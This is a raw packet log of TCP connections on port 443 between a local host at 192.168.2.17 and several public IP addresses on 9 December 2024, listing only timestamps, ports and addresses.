Dec 9, 2024 18:41:29.351239920 CET	443	49726	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:29.351249933 CET	49726	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:29.351289988 CET	49726	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:29.352741003 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:29.352785110 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:29.352861881 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:29.353075027 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:29.353094101 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:29.392481089 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.408435106 CET	49675	443	192.168.2.17	204.79.197.203
Dec 9, 2024 18:41:29.450511932 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.504422903 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.520416975 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.523098946 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.523292065 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.523303986 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.531353951 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.531622887 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.531632900 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.539545059 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.539665937 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.539671898 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.556051970 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.556107998 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.556116104 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.564955950 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.564996958 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.565015078 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.565023899 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.565193892 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.572949886 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.581069946 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.581135035 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.581147909 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.589391947 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.589446068 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.589478016 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.596290112 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.596350908 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.596381903 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.602817059 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.602906942 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.602927923 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.609384060 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.609460115 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.609467983 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.639807940 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.639864922 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.639875889 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.680432081 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.712719917 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.715248108 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.715321064 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.715348005 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.720164061 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.720307112 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.720314980 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.729733944 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.729804039 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.729811907 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.729868889 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.738765955 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.738773108 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.738822937 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.738990068 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.739064932 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.747652054 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.747659922 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.747714043 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.755671978 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.755680084 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.755759001 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.760023117 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.760094881 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.768287897 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.768347025 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.775175095 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.775224924 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.778422117 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.778476000 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.778481960 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.778537989 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.778613091 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.778666019 CET	49723	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:41:29.778678894 CET	443	49723	104.17.25.14	192.168.2.17
Dec 9, 2024 18:41:29.920679092 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:29.920792103 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:29.920903921 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:29.921112061 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:29.921147108 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:30.186546087 CET	443	49709	172.217.21.36	192.168.2.17
Dec 9, 2024 18:41:30.186611891 CET	443	49709	172.217.21.36	192.168.2.17
Dec 9, 2024 18:41:30.188587904 CET	49709	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:41:30.192137957 CET	49709	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:41:30.192152977 CET	443	49709	172.217.21.36	192.168.2.17
Dec 9, 2024 18:41:30.570465088 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:30.570873022 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:30.570902109 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:30.571228027 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:30.572829008 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:30.572959900 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:30.572993040 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:30.618850946 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.027245045 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.027298927 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.027512074 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.027548075 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.029874086 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.029905081 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.029968023 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.029978991 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.030021906 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.031021118 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.038748980 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.038806915 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.038814068 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.047286034 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.047353983 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.047369003 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.097457886 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.132383108 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.132658005 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.132683039 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.133769989 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.133837938 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.134154081 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.134223938 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.134293079 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.146697998 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.175337076 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.177464962 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.177479029 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.193481922 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.193506002 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.222990036 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.223073959 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.223098040 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.225450993 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.232738972 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.232800007 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.232810974 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.241009951 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.241085052 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.241094112 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.249094963 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.249162912 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.249171972 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.257369995 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.257477999 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.257491112 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.266186953 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.266244888 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.266253948 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.273646116 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.273716927 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.273725033 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.281886101 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.281955957 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.281975985 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.290179968 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.290231943 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.290242910 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.302661896 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.302716017 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.302722931 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.309072018 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.309125900 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.309134007 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.309295893 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.309341908 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.309349060 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.309366941 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.309478045 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.309745073 CET	49728	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.309756994 CET	443	49728	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.449959993 CET	49680	443	192.168.2.17	20.189.173.13
Dec 9, 2024 18:41:31.527749062 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:31.527791977 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:31.527868032 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:31.528110981 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:31.528126955 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:31.529175997 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.529210091 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.529269934 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.529599905 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:31.529608965 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:31.721029997 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.721093893 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.721131086 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.721155882 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.721787930 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.721838951 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.721848011 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.722732067 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.722771883 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.722778082 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.734148979 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.734206915 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.734215021 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.740164995 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.740215063 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.740222931 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.753463984 CET	49680	443	192.168.2.17	20.189.173.13
Dec 9, 2024 18:41:31.786115885 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.817466021 CET	49675	443	192.168.2.17	204.79.197.203
Dec 9, 2024 18:41:31.840414047 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.881458998 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.910196066 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.912621975 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.912673950 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.912703037 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.920723915 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.920778036 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.920785904 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.928488970 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.928533077 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.928544044 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.944175959 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.944355965 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.944381952 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.944391012 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.944451094 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.952090025 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.962379932 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.962444067 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.962451935 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.970431089 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.970488071 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.970496893 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.977531910 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.977587938 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.977595091 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.982975960 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.983035088 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.983042002 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.989255905 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.989308119 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.989315033 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.995884895 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:31.995943069 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:31.995949984 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.033051014 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.033106089 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.033113956 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.087433100 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.102396965 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.105734110 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.105784893 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.105793953 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.110637903 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.110699892 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.110707045 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.119936943 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.120008945 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.120016098 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.120049953 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.128489017 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.128498077 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.128583908 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.128591061 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.128629923 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.136763096 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.136769056 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.136833906 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.141232967 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.141241074 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.141288042 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.149602890 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.149610043 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.149661064 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.157859087 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.157951117 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.166208982 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.166274071 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.169452906 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.169519901 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.169526100 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.169562101 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.169598103 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.169759989 CET	49729	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:41:32.169774055 CET	443	49729	104.17.24.14	192.168.2.17
Dec 9, 2024 18:41:32.357552052 CET	49680	443	192.168.2.17	20.189.173.13
Dec 9, 2024 18:41:32.762280941 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:32.763026953 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:32.763056993 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:32.764123917 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:32.764194965 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:32.764514923 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:32.764735937 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:32.765918016 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:32.772793055 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:32.774775982 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:32.774804115 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:32.775890112 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:32.775969028 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:32.776283979 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:32.776355982 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:32.776427984 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:32.776436090 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:32.818448067 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:32.818470001 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:32.818512917 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:32.866457939 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.215982914 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.216943026 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.216973066 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.216991901 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.217020035 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.217072964 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.217864037 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.224958897 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.225006104 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.225014925 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.233459949 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.233513117 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.233534098 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.249114990 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.249861956 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.249953032 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.250020981 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.257468939 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.257524014 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.257535934 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.266028881 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.266077995 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.266084909 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.271807909 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.271841049 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.271907091 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.272111893 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.272125959 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.274849892 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.274899960 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.274908066 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.280467033 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.280489922 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.284271002 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.284328938 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.284337997 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.328458071 CET	49732	443	192.168.2.17	104.18.95.41
